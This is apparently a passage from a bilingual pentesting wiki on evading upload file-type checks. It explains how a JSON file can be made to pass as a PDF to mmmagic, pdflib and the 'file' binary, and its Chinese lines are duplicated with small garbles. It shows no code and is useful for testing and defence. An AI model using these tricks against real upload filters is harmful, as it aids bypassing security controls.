More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Upload valid JSONs like if it was PDF
### 像上传 PDF 一样上传有效的 JSON
如何通过伪装为 PDF 文件来上传有效的 JSON 文件以规避文件类型检测(技术来源于 **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**
如何通过伪造 PDF 文件来上传有效的 JSON即使不被允许以规避文件类型检测技术来自 **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**
- **`mmmagic` library**: 只要 `%PDF`术字节位于前 1024 字节内,就被认为是有效的(示例见文章
- **`pdflib` library**: 在 JSON 的某个字段内加入一个伪造的 PDF 格式,使该库认为这是一个 pdf示例见文章
- **`file` binary**: 它可以从文件中读取最多 1048576 字节。只需创建一个比这更大的 JSON使其无法将内容解析为 json然后在该 JSON 中放入真实 PDF 的初始部分,它就会认为这是一个 PDF
- **`mmmagic` library**: 只要 `%PDF`数在前 1024 字节内就被视为有效(参见文章示例
- **`pdflib` library**: 在 JSON 的某个字段中加入伪造的 PDF 格式,使库认为它是 PDF参见文章示例
- **`file` binary**: 它最多会读取 1048576 字节。只需创建一个比这更大的 JSON使其无法将内容解析为 JSON然后在 JSON 内部放入真实 PDF 的起始部分,它就会判断为 PDF
## References
## 参考资料
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)